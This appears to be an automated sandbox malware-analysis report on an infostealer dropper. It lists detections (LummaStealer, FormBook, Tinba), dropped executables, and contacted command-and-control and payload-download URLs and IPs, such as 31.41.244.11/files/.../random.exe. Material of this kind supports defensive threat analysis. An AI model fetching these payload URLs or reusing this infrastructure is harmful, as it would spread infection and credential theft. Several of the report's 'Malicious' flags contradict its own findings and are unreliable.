IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
treehoneyi.click	172.67.180.113	true	false	high
www.google.com	172.217.19.228	true	false	high
immureprech.biz	178.62.201.34	true	false	high
home.twentytk20pn.top	147.45.113.159	true	false	high
deafeninggeh.biz	45.77.249.79	true	false	high
twentytk20pn.top	147.45.113.159	true	false	high
httpbin.org	34.226.108.155	true	false	high
bellflamre.click	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://pancakedipyps.click/api	false	high
https://immureprech.biz/api	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	true	unknown
http://twentytk20pn.top/v1/upload.php	false	high
grannyejh.lat	false	high
pancakedipyps.click	false	high
necklacebudi.lat	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://immureprech.biz/pi	386e7e479d.exe, 00000013.00000002.2976143571.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apiob	d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653390499.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645517744.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646316866.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647801148.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645021468.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644118653.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647494216.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654078448.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645163807.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649637300.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646714047.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645896540.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649385225.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2643413091.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644331718.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644878844.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653857151.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apiy	d6bf37692b.exe, 0000000A.00000003.2616010208.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/api~	d6bf37692b.exe, 0000000A.00000003.2642203884.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://deafeninggeh.biz/	386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp, 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/	3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671649158.0000000001159000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2567946072.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590027893.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673903143.00000000038E6000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673084493.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672060197.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672941652.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/hsts.html	66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/transfer.aspx	9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://deafeninggeh.biz:443/api37.36	386e7e479d.exe, 00000013.00000002.2976143571.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/0	3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/apier	d6bf37692b.exe, 0000000A.00000003.2642630902.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642769929.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642933742.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.urwpp.deDPlease	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/balance.aspx	9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/F9	3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/e	d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/apiT	3a0398bc51.exe, 00000009.00000002.2674127732.00000000038EC000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671987375.00000000038EB000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590081999.00000000038EA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/h	d6bf37692b.exe, 0000000A.00000003.2594365012.0000000005A66000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click:443/apiin64;	d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspx	9f58fa9406.exe, 0000000D.00000000.2681516044.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://treehoneyi.click/u	d6bf37692b.exe, 0000000A.00000003.2746444038.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/london/random.exe~	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.php86	skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	3a0398bc51.exe, 00000009.00000003.2503295300.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475814548.0000000003983000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2503110387.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2501956717.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003937000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2594179425.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/alt-svc.html	66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	high
https://treehoneyi.click/w	d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	false	high
https://deafeninggeh.biz/apix	386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/p	d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2546768265.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.carterandcone.coml	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642484247.0000000005A62000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616197005.0000000005A62000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616322804.0000000005A67000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616925149.0000000005A68000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/apiK	d6bf37692b.exe, 0000000A.00000003.2679252026.0000000000C75000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/api5	3a0398bc51.exe, 00000009.00000002.2673084493.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672167549.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers/frere-user.html	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	high
https://treehoneyi.click/=	d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	3a0398bc51.exe, 00000009.00000003.2475814548.0000000003985000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B05000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/Y	d6bf37692b.exe, 0000000A.00000003.2746444038.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2685031950.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.microsoftX	d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654519089.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2546768265.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654570024.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2679917488.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654376656.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2679252026.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2685244823.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	3a0398bc51.exe, 00000009.00000003.2476182622.0000000003912000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://sci.libertyreserve.com/	skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000D.00000000.2681516044.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp, 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/london/random.exeV	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/pi	3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/bckosq/random.exeb	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designersG	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp	66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp	false	unknown
http://www.fontbureau.com/designers/?	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers?	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apibu	d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/loadman/random.exe-	skotes.exe, 00000006.00000002.2983011812.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://docs.rs/getrandom#nodejs-es-module-support	random[2].exe1.6.dr	false	high
